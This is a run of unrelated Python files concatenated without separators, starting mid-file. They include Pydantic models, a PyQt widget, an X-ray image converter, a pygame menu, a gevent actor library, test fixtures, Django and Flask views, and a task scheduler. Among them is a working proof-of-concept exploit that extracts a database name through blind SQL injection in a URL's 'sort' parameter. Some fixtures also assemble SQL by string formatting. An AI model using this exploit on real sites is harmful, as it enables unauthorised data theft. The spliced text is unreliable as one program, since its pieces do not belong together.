    CANCELLED = "cancelled"

class TaskRun(BaseModel):
    duration: Optional[NonNegativeFloat] = 0
    """Task duration in milliseconds"""
    has_output: bool = False
    """True if the task generated an output"""
    status: Optional[PipelineRunStatus] = PipelineRunStatus.PENDING
    task_id: str

    class Config:
        from_attributes = True

class NotificationRule(BaseModel):
    channels: List[str]
    pipeline_status: List[PipelineRunStatus] = Field(
        default_factory=lambda: [PipelineRunStatus.FAILED]
    )


from PyQt6.QtWidgets import QWidget, QLabel, QApplication
from PyQt6.QtCore import Qt
from backend.weather import WeatherData
import sys
import datetime

class CityDisplay(QWidget):
    def __init__(self, weather_data: WeatherData = None) -> None:
        super().__init__()

        self.wd = weather_data if weather_data != None else WeatherData()
        # self.wd.get_weather()
        self.wd.get_city()
        self.name = self.wd.city.split(",")[:3]

        self.label = QLabel(self)
        self.label.setText("".join(self.name))
        self.label.setAlignment(Qt.AlignmentFlag.AlignLeft)
        self.label.setStyleSheet("border: 2px solid black; padding: 4px;")

if __name__ == "__main__":
    app = QApplication(sys.argv)

    widget = CityDisplay()
    widget.show()

    sys.exit(app.exec())


import os
from PIL import Image
import numpy as np
from tqdm import tqdm
import cv2 as cv

def convert_JCRT_images(input_dir, output_dir):
    file_names = os.listdir(input_dir)
    # file_names = [item for item in file_names if item[:2] == "JP"]
    print("image number: {0:}".format(len(file_names)))

    for file_name in file_names:
        input_file_name = os.path.join(input_dir,file_name)
        output_file_name = os.path.join(input_dir,file_name)
        # output_file_name = os.path.join(output_dir, output_file_name)

        shape = (2048, 2048) # matrix size
        dtype = np.dtype('>u2') # big-endian unsigned integer (16bit)

        # Reading.
        # fid = open(input_file_name, 'rb')
        # data = np.fromfile(fid, dtype)
        data=cv.imread(input_file_name)
        data = cv.resize(data,shape)

        # Rescale intensity to 0-255
        data[data > 4096] = 4096
        data = data * 255.0 / 4096 #data.max()
        data = np.asarray(data, np.uint8)

        # Reshape to 256x256
        img = Image.fromarray(data)
        img = img.resize((256, 256), Image.BILINEAR)
        img.save(output_file_name)
        print(file_name, data.min(), data.max(), data.mean(), data.std())

def convert_JCRT_labels(input_dir, output_dir):
    # organs      = ['heart']
    # sub_folders = ['fold1', 'fold2']

        image_folder = input_dir
        image_names  = os.listdir(image_folder)
        # image_names  = [item for item in image_names if item[:2] == 'JP']
        for image_name in image_names:
            print(image_name[:-4])
            label_list = []
            image_folder = input_dir
            image_full_name = os.path.join(image_folder, image_name)
            img = Image.open(image_full_name)
            img = img.resize((256,256), Image.NEAREST)
            img = np.asarray(img)
            label_list.append(img)
            label = np.asarray(label_list, np.uint8)
            label = np.max(label, axis = 0)
            label = Image.fromarray(label)
            output_full_name = image_name[:-4] + ".png"
            output_full_name = os.path.join(input_dir, output_full_name)
            label.save(output_full_name)

if __name__ == "__main__":
    JSRT_root  = "/home/yangbaoqi/desktop/code/PyMIC_examples-main/segmentation/JSRT/picture/data"
    input_image_dir  = JSRT_root + "/image"
    output_image_dir = JSRT_root + "/newimg"
    convert_JCRT_images(input_image_dir, output_image_dir)

    input_label_dir  = JSRT_root + "/label"
    output_label_dir = JSRT_root + "/newgts"
    convert_JCRT_labels(input_label_dir, output_label_dir)


import pygame as pg

from data.colors import WHITE
from gui.long_button import LongButton
from gui.slider import Slider
import data.languages.english as eng
import data.languages.russian as rus

TEXTS = {
    'quit_button':
        {
            'English': eng.OPTIONSWINDOW_QUIT_BUTTON,
            'Russian': rus.OPTIONSWINDOW_QUIT_BUTTON
        },
    'labels':
        {
            'Russian': (
                rus.OPTIONSWINDOW_CAPTION,
                rus.OPTIONSWINDOW_LABEL_MUSIC,
                rus.OPTIONSWINDOW_LABEL_SOUND
            ),
            'English': (
                eng.OPTIONSWINDOW_CAPTION,
                eng.OPTIONSWINDOW_LABEL_MUSIC,
                eng.OPTIONSWINDOW_LABEL_SOUND
            )
        }
}

class OptionsWindow:
    def __init__(self):
        self.sound_slider = Slider(500, 600)
        self.music_slider = Slider(500, 400)
        self.caption = None
        self.label_music = None
        self.label_sound = None
        self.quit_button = None
        self.set_language("English")

    def set_language(self, language):
        self.set_labels(*TEXTS['labels'][language])
        self.quit_button = LongButton(944, 832, False, TEXTS['quit_button'][language])

    def set_labels(self, caption, label_1, label_2):
        pg.font.init()
        font = pg.font.SysFont('Calibri', 56, True)
        self.caption = font.render(caption, True, WHITE)
        self.label_music = font.render(label_1, True, WHITE)
        self.label_sound = font.render(label_2, True, WHITE)

    def handle(self, e_type, sounds) -> bool:
        game_running = True
        self.sound_slider.handle(e_type)
        self.music_slider.handle(e_type)
        self.update_mixer(sounds)
        if self.quit_button.cursor_on_button():
            game_running = False
        return game_running

    def update_mixer(self, sounds):
        if self.sound_slider.clicked:
            for sound in sounds.values():
                sound.set_volume(self.sound_slider.value)
        if self.music_slider.clicked:
            pg.mixer.music.set_volume(self.music_slider.value)

    def update(self, sounds):
        self.quit_button.update_color()
        self.sound_slider.update()
        self.music_slider.update()
        self.update_mixer(sounds)

    def draw(self, screen):
        screen.blit(self.caption, (560, 176))
        screen.blit(self.label_music, (240, 375))
        screen.blit(self.label_sound, (240, 575))

        self.quit_button.draw(screen)
        self.sound_slider.draw(screen)
        self.music_slider.draw(screen)


import gevent, gevent.event, gevent.greenlet, gevent.queue, greenlet
import random, pickle, logging, weakref
from types import SimpleNamespace
from function_pattern_matching import MultiFunc
import inspect
from functools import partial
import better_exceptions
import sys

from gevent import GreenletExit

class ActorStoppedError(Exception):
	__str__ = lambda x: "ActorStoppedError"

class ActorMaxIdleError(Exception):
    __str__ = lambda x: "ActorMaxIdleError"

class ActorTTLError(Exception):
    __str__ = lambda x: "ActorTTLError"

class TaskCanceledError(Exception):
    __str__ = lambda x: "TaskCanceledError"

class Task(gevent.event.AsyncResult):
	def __init__(self, msg, payload=None, sender=None):
		super().__init__()
		self.msg = msg
		self._payload = payload # pickle.dumps(payload, protocol=pickle.HIGHEST_PROTOCOL)
		self.sender = sender
		self.canceled = False

	def cancel(self):
		self.canceled = True

	@property
	def payload(self):
		return self._payload
		#return pickle.loads(self._payload)

	def set(self, value=None):
		if self.canceled:
			return TaskCanceledError
		return super().set(value)

	def get(self, *args, **kwargs):
		if self.canceled:
			return TaskCanceledError
		return super().get(*args, **kwargs)

	def __str__(self):
		return ("<Task, sender={sender}, message={msg}>"
		).format(sender=self.sender, msg=self.msg)

class Actor(object):
	def __init__(self, name=None, max_idle=None, ttl=None, loop=None, context=None, *args, **kwargs):
		self.context = context if context else SimpleNamespace()
		self._logger = logging.getLogger('root')
		self._mailbox = gevent.queue.Queue()
		self._stopped = False
		self._poisoned_pill = object()
		self._ping_pill = object()
		self._max_idle = max_idle
		self._ttl = ttl
		self._loop = gevent.spawn(loop) if loop else gevent.spawn(self._dequeue, weakref.proxy(self))
		self.name=name if name else "actor-{0}".format(self._loop.minimal_ident)

	@classmethod
	def prepare(cls, *args, **kwargs):
		return partial(cls, *args, **kwargs)

	def __str__(self):
		return "<{type} \"{name}\">".format(type=type(self).__name__, name=self.name)

	def _handle(self, task):
		try:
			self._logger.debug("{me} starts handling {task}".format(me=self, task=task))
			if isinstance(self.handle, MultiFunc):
				task.set(self.handle(self, task.msg, task.payload, task.sender))
			else:
				task.set(self.handle(task.msg, task.payload, task.sender))
			return task
		except Exception as e:
			task.set_exception(e)
			raise

	# def suspend_idle(self):
	# 	if hasattr(self, "_max_idle_timeout"):
	# 		print(f">>>--->>> {self} SUSPEND MAX IDLE {gevent.getcurrent()}")
	# 		self._max_idle_timeout.cancel()
	# 		if hasattr(self, "_parent"):
	# 			if hasattr(self._parent, "_max_idle_timeout"):
	# 				self._parent.suspend_idle()
	# 		print(f">>>--->>> {self} STATUS MAX IDLE {gevent.getcurrent()}: {self._max_idle_timeout.pending}")

	# def resume_idle(self):
	# 	if hasattr(self, "_max_idle_timeout"):
	# 		print(f">>>--->>> {self} RESUME MAX IDLE {gevent.getcurrent()}")
	# 		self._max_idle_timeout.start()
	# 		if hasattr(self, "_parent"):
	# 			if hasattr(self._parent, "_max_idle_timeout"):
	# 				self._parent.resume_idle()
	# 		print(f">>>--->>> {self} STATUS MAX IDLE {gevent.getcurrent()}: {self._max_idle_timeout.pending}")

	def _dequeue(self, parent):
		self._ttl_timeout = gevent.Timeout.start_new(timeout=self._ttl, exception=ActorTTLError)
		self._max_idle_timeout = gevent.Timeout.start_new(timeout=self._max_idle, exception=ActorMaxIdleError)
		self._stopped = False
		self._crashed = False
		try:
			for task in self._mailbox:
				gevent.idle()
				self._max_idle_timeout.close()
				if self._max_idle:
					self._logger.debug("{me} has canceled timeout of {max_idle} seconds".format(me=self, max_idle=self._max_idle))
				if isinstance(task, Task) and not task.canceled:
					self._logger.debug("{me} took {task} from mailbox".format(me=self, task=task))
					self._handle(task)
				elif task is self._poisoned_pill:
					self._logger.debug("{me} is processing the poisoned pill.".format(me=self))
					raise ActorStoppedError
				elif task is self._ping_pill:
					self._logger.debug("{me} is processing a ping.".format(me=self))
				elif isinstance(task, Task) and task.canceled:
					self._logger.debug("{me} took canceled {task} from mailbox, dismissing".format(me=self, task=task))
					continue
				self._max_idle_timeout = gevent.Timeout.start_new(timeout=self._max_idle, exception=ActorMaxIdleError)
		except ActorMaxIdleError as e:
			self._logger.debug("{me} has reached max_idle timeout of {sec} seconds.".format(me=self, sec=self._max_idle))
			self.stop()  # FIXME!!!!
		except ActorTTLError as e:
			self._logger.debug("{me} has reached ttl timeout of {sec} seconds.".format(me=self, sec=self._ttl))
			self.stop()  # FIXME!!!!
		except ActorStoppedError as e:
			self._stopped = True
		except Exception as e:
			self._stopped = True
			self._crashed = True
			formatted_exc = better_exceptions.format_exception(*sys.exc_info())
			self._logger.error(("{me} crashed with:\n{exc}").format(me=self, exc=formatted_exc))
		finally:
			self._ttl_timeout.close()
			self._max_idle_timeout.close()
			if hasattr(self, "_parent"):
				self._parent._handle_child(self, "crashed" if self._crashed else "stopped")

	def handle(self, message, payload=None, sender=None):
		"""Override in your own Actor subclass"""
		raise NotImplementedError('Please subclass Actor and implement the handle() method')

	def _receive(self, msg, payload=None, sender=None):
		gevent.idle() # UGLY: Find a better place for this
		sending_greenlet = gevent.getcurrent()
		if sender:
			sender = sender
		elif isinstance(getattr(sending_greenlet, '_actor', None), Actor):
			sender = sending_greenlet._actor
		elif isinstance(sending_greenlet, Actor):
			sender = sending_greenlet
		else:
			l = inspect.stack()[1][0].f_locals
			if "self" in l:
				sender = l["self"]
			else:
				sender = None
		task = Task(msg, payload, sender)
		return self._enqueue(task)

	def _enqueue(self, task):
		if self._stopped:
			self._logger.warn("{me} is stopped and rejects {task}".format(me=self, task=task))
			raise ActorStoppedError
		else:
			self._mailbox.put(task)
			self._logger.debug("{me} received {task}".format(me=self, task=task))
		return task

	def _kill(self):
		self._stopped = True
		self._logger.debug("{me} received order to stop immediately.".format(me=self))
		try:
			self._loop.kill()
		except GreenletExit:
			pass
		self.clear()
		self._parent._handle_child(self, "stopped")

	def tell(self, msg, payload=None, sender=None):
		"""Send a message, get nothing (fire-and-forget)."""
		self._receive(msg, payload=payload, sender=sender)

	def ask(self, msg, payload=None, sender=None):
		"""Send a message, get a future."""
		return self._receive(msg, payload=payload, sender=sender)

	def wait_for(self, msg, payload=None, sender=None, timeout=None, retry=1):
		"""Send a message, get a result"""
		for it in range(retry):
			try:
				return self._receive(msg, payload=payload, sender=sender).get(timeout=timeout)
			except (ActorStoppedError, gevent.Timeout) as exc:
				last_exc = exc
				continue
		raise last_exc

	def start(self):
		if self._stopped:
			self._loop = gevent.spawn(self._dequeue, weakref.proxy(self))
			self._stopped = False
			self._logger.debug("{me} has resumed operation.".format(me=self))
		else:
			self._logger.debug("{me} is already started.".format(me=self))

	def stop(self):
		if not self._stopped:
			self._stopped = True
			self._logger.debug("{me} received order to stop.".format(me=self))
			self._mailbox.put(self._poisoned_pill)
		else:
			self._logger.debug("{me} is already stopped.".format(me=self))

	def ping(self):
		if not self._stopped:
			self._logger.debug("{me} received ping message.".format(me=self))
			self._mailbox.put(self._ping_pill)
		else:
			self._logger.debug("{me} is stopped.".format(me=self))

	def clear(self):
		self.context = SimpleNamespace()
		while len(self._mailbox) > 0:
			task = self._mailbox.get()
			if isinstance(task, Task):
				self._logger.debug("{me} is rejecting {task}".format(me=self, task=task))
				task.set_exception(ActorStoppedError)

	def resume(self):
		self.start()

	def restart(self):
		self.stop()
		self.clear()
		self.start()

	def __del__(self):
		try:
			self._loop.kill()
		except GreenletExit:
			pass
		self.clear()

	def register_parent(self, parent):
		self._parent = weakref.proxy(parent)
		self._logger.debug("{me} registered {par} as its parent.".format(me=self, par=parent))

	def wait_idle(self):
		self._mailbox.join()

	def join(self):
		self._loop.join()


import matplotlib.pyplot as plt
import numpy as np
x = [1, 2, 3, 4, 5]
y = [0.99, 0.49, 0.35, 0.253, 0.18]
plt.errorbar(x, y, xerr=0.05, yerr=0.1)
v, p = np.polyfit(x, y, deg=1, cov=True)
plt.grid()
plt.plot(x, np.poly1d(p))
plt.show()


import fixtures
import os
import shutil
import time

from camera_app.ubuntu_system_tests.helpers import file_system as fs
from camera_app.ubuntu_system_tests.helpers import sqlite

DEFAULT_STORE_ROOT = os.path.expanduser('~/.tmp_backup')

class BackupRestoreFixture(fixtures.Fixture):
    """Generic fixture class to backup and restore a specific directory."""

    def __init__(self, backup_dir, storage_root_dir=DEFAULT_STORE_ROOT,
                 start_clean=True):
        """
        :param backup_dir: Directory to be backed up.
        :param storage_root_dir: Root directoty to use as backup.
        :param start_clean: Whether to clean the backup directory.
        """
        if not os.path.exists(storage_root_dir):
            os.makedirs(storage_root_dir)
        self.backup_dir = backup_dir
        self.storage_dir = fixtures.TempDir(storage_root_dir)
        self.start_clean = start_clean

    def setUp(self):
        """Backup the required directory and register restore actions."""
        super().setUp()
        self.useFixture(self.storage_dir)
        self.addCleanup(self._restore_directory)
        shutil.rmtree(self.storage_dir.path)
        if os.path.exists(self.backup_dir):
            if self.start_clean:
                fs.move_folder_contents(self.backup_dir, self.storage_dir.path)
            else:
                shutil.copytree(self.backup_dir, self.storage_dir.path)

    def _restore_directory(self):
        """Move the backup data back to original location."""
        if os.path.exists(self.backup_dir):
            fs.clean_dir(self.backup_dir)
        if os.path.exists(self.storage_dir.path):
            fs.move_folder_contents(self.storage_dir.path, self.backup_dir)

class BackupRestoreRequestAccessFixture(fixtures.Fixture):
    """Fill the access requests for the an app by adding the answer in the
    its db and restoring the original data after the test execution."""

    REQUESTS_SCHEMA = 'ApplicationId, Feature, Timestamp, Answer'

    def __init__(self, db, app_id, feature, answer):
        """ Create a Fixture
        :param db: the path to the db
        :param app_id: the application id as it appears in the db
        :param feature: the feature as it appears in the db
        :param answer: True to allow access, False to deny access
        """
        self.db = db
        self.app_id = app_id
        self.feature = feature
        self.timestamp = int(str(time.time()).replace('.', ''))
        self.answer = int(answer)

    def setUp(self):
        super().setUp()

        # Get the initial request access state
        initial_state = self.get_access_request()

        # Fill the db with the desired answer
        self.fill_access_request(self.app_id, self.feature, self.timestamp,
                                 self.answer)

        # Restore the initial access state
        self.clean_request(initial_state)

    def clean_request(self, state):
        """ Restore this request in case there was an initial state, otherwise
        delete the access request when there wasn't an initial state
        """
        if state:
            self.addCleanup(self.fill_access_request, *state)
        else:
            self.addCleanup(self.delete_access_request)

    def fill_access_request(self, app_id, feature, timestamp, answer):
        """ Complete the db with the desired state to allow/deny the access
        to the app_id from the camera app
        """
        cmd = "INSERT OR REPLACE INTO requests (Id, {schema}) VALUES " \
              "((SELECT Id FROM requests WHERE ApplicationId = '{app_id}'), " \
              "'{app_id}', {feature}, {timestamp}, {answer});".\
            format(schema=self.REQUESTS_SCHEMA, app_id=app_id,
                   feature=feature, timestamp=timestamp, answer=answer)
        sqlite.execute(self.db, cmd)

    def delete_access_request(self):
        """ Delete the current state  """
        cmd = "DELETE FROM requests WHERE ApplicationId = '{app_id}' AND " \
              "Feature = {feature}".format(app_id=self.app_id,
                                           feature=self.feature)
        sqlite.execute(self.db, cmd)

    def get_access_request(self):
        """ Retrieve the first access request in the db for the current
        application id and feature
        :return: a list with the values following the table structure
        """
        cmd = "SELECT {schema} FROM requests WHERE ApplicationId = " \
              "'{app_id}' AND Feature = {feature}".\
            format(schema=self.REQUESTS_SCHEMA, app_id=self.app_id,
                   feature=self.feature)
        return sqlite.query_one(self.db, cmd)


from django.shortcuts import render
from django.http import HttpResponse
# from visits.models import Visits

# Create your views here.
def cookie(request):
    num_visits = request.session.get('num_visits', 0) + 1
    request.session['num_visits'] = num_visits
    res = HttpResponse(f"view count={num_visits}")
    res.set_cookie('dj4e_cookie', '2fe10492', max_age=1000)
    return res
    # return HttpResponse('Hello!')


from flask import Flask, render_template
from requests import get
from dotenv import load_dotenv
from os import getenv
app = Flask(__name__)

@app.route('/')
@app.route('/index.html')
def home():
    blog_posts = get(url=getenv('POSTS_API')).json()
    return render_template('index.html', posts=blog_posts)

@app.route('/post.html')
def show_all_posts():
    blog_posts = get(url=getenv('POSTS_API')).json()
    return render_template('post.html', posts=blog_posts)

@app.route('/post.html/<int:post_id>')
def show_one_post(post_id):
    blog_posts = get(url=getenv('POSTS_API')).json()
    requested_post = None
    for post in blog_posts:
        if post['id'] == post_id:
            requested_post = post
            break
    return render_template('post.html', post=requested_post)

@app.route('/about.html')
def about():
    return render_template('about.html')

@app.route('/contact.html')
def contact():
    return render_template('contact.html')

if __name__ == '__main__':
    app.run()
    load_dotenv()


import requests
import string
import sys
from bs4 import BeautifulSoup

if len(sys.argv) < 2:
	print("[+] python3 poc.py <url>")
	exit()

URL = sys.argv[1]
flag = ''

for i in range(1,200):
	for char in string.printable:
		print(char,end='\r')
		params = {'sort':f"(IIF(ASCII(substring(db_name(),{i},1))={ord(char)}, 1,1/0)"}
		try:
			r = requests.get(URL, params=params)
			if "Error" not in r.text:
				flag += char
				print(flag)
				break
		except Exception as e:
			print(e)


'''
Created on 08.07.2013

@author: vau
'''
import time
import json
import uuid
import lemon
import core
import scheduler.default_tasks as tasks

MASK    = 'schedule_'
MAIN    = 'items'

CHECK_INTERVAL  = 0.1
STORE_INTERVAL  = 1

SECONDS = 1
MINUTES = 60*SECONDS
HOURS   = 60*MINUTES
DAYS    = 24*HOURS

class Scheduler(lemon.BaseAgentLemon):
    '''
    classdocs
    '''

    def __init__(self, _logger, _config, _info):
        '''
        Constructor
        '''
        self._storage   = None
        self._taskManager   = None
        self._schedule  = {}
        self._removed_from_schedule = []
        self._scheduleModified  = False
        lemon.BaseAgentLemon.__init__(self, _logger, _config, _info)

    def run(self):

        self._storage       = core.getCoreInstance().getInstance('STORAGE')
        self._taskManager   = core.getCoreInstance().getInstance('TASK_MANAGER')
        self._logger.info('Scheduler started')
        self._loadStorage()
        self._setReady()
        it  = 0
        while self._running:
            self._process()
            time.sleep(CHECK_INTERVAL)
            it += CHECK_INTERVAL
            if it > STORE_INTERVAL :
                it = 0
                self._store_schedule()

    def add(self, func_type, name='default', start_time=None, interval = 5*MINUTES,  kwargs=None, revision=0):
        schtask = {}
        if start_time is None:
            start_time  = time.time()
        schtask['__id'] = str(uuid.uuid4())
        schtask['name'] = name
        schtask['start_time']   = start_time
        schtask['last_time']    = start_time - interval
        schtask['interval']     = interval
        schtask['task']         = {'func': func_type, 'args': kwargs}
        schtask['__revision']   = revision
        self._add_to_schedule(schtask['__id'], schtask)
        self._store(schtask['__id'], schtask)

    def remove(self, name):
        removed = None
        for k, v in self._schedule.items():
            if v['name'] == name:
                print("REMOVING: "+str(v['name']))
                removed = k
        if removed:
            self._remove_from_schedule(removed)

    def getScheduledTask(self, name=None):
        if name is None:
            return self._schedule
        for v in self._schedule.values():
            if v['name']    == name:
                return v

    def getSchedule(self):
        for v in self._schedule.values():
            yield v

    def getNotInitiatedDefaultTasks(self):
        for taskName, task in tasks.tasks.items():
            if self.getScheduledTask(taskName) is None:
                yield task

    def _add_to_schedule(self, _key, _schtask):
        self._schedule[_key] = _schtask
        self._scheduleModified  = True

    def _remove_from_schedule(self, _key):
        self._schedule.pop(_key)
        self._removed_from_schedule.append(_key)

    def _store(self, key, obj):
        try:
            self._storage.writeItem(MASK + str(key), json.dumps(obj))
            self._store_schedule()
        except Exception as e:
            self._logger.error('Error occured in _store while storing {0}: {1}'.format(str(key), str(e)))

    def _loadStorage(self):
        try:
            items   = self._storage.readStr(MASK + MAIN)
            if items is not None:
                headers   = json.loads(items)
                for key in headers:
                    item    = json.loads(self._storage.readStr(MASK + key))
                    self._add_to_schedule(key, item)
                self._logger.info('schedule loaded')
        except Exception as e:
            self._logger.error('Error occured in _loadStorage: {0}'.format(str(e)))

    def _process(self):
        timestamp   = time.time()
        keys    = list(self._schedule.keys())
        remove_list = []
        for k in keys:
            if self._schedule[k]['interval'] == 0:
                self._startTask(k, self._schedule[k]['task'])
                self._logger.info('scheduled task {0} started'.format(str(k)))
                remove_list.append(k)
            elif self._schedule[k]['last_time'] + self._schedule[k]['interval'] < timestamp:
                self._startTask(k, self._schedule[k]['task'])
                self._logger.info('scheduled task {0} started'.format(str(k)))
                self._schedule[k]['last_time']  = time.time()
        for remove_name in remove_list:
            self._remove_from_schedule(remove_name)

    def _store_schedule(self):
        if self._scheduleModified:
            self._storage.writeItem(MASK + MAIN, json.dumps(list(self._schedule.keys())))
            for key in self._removed_from_schedule:
                self._storage.deleteItem(MASK+key)
            self._removed_from_schedule = []
            self._scheduleModified = False

    def _startTask(self, key, task):
        self._taskManager.new_task(task['func'], task['args'])
        self._logger.info('task {0} successfully send to task manager'.format(str(key)))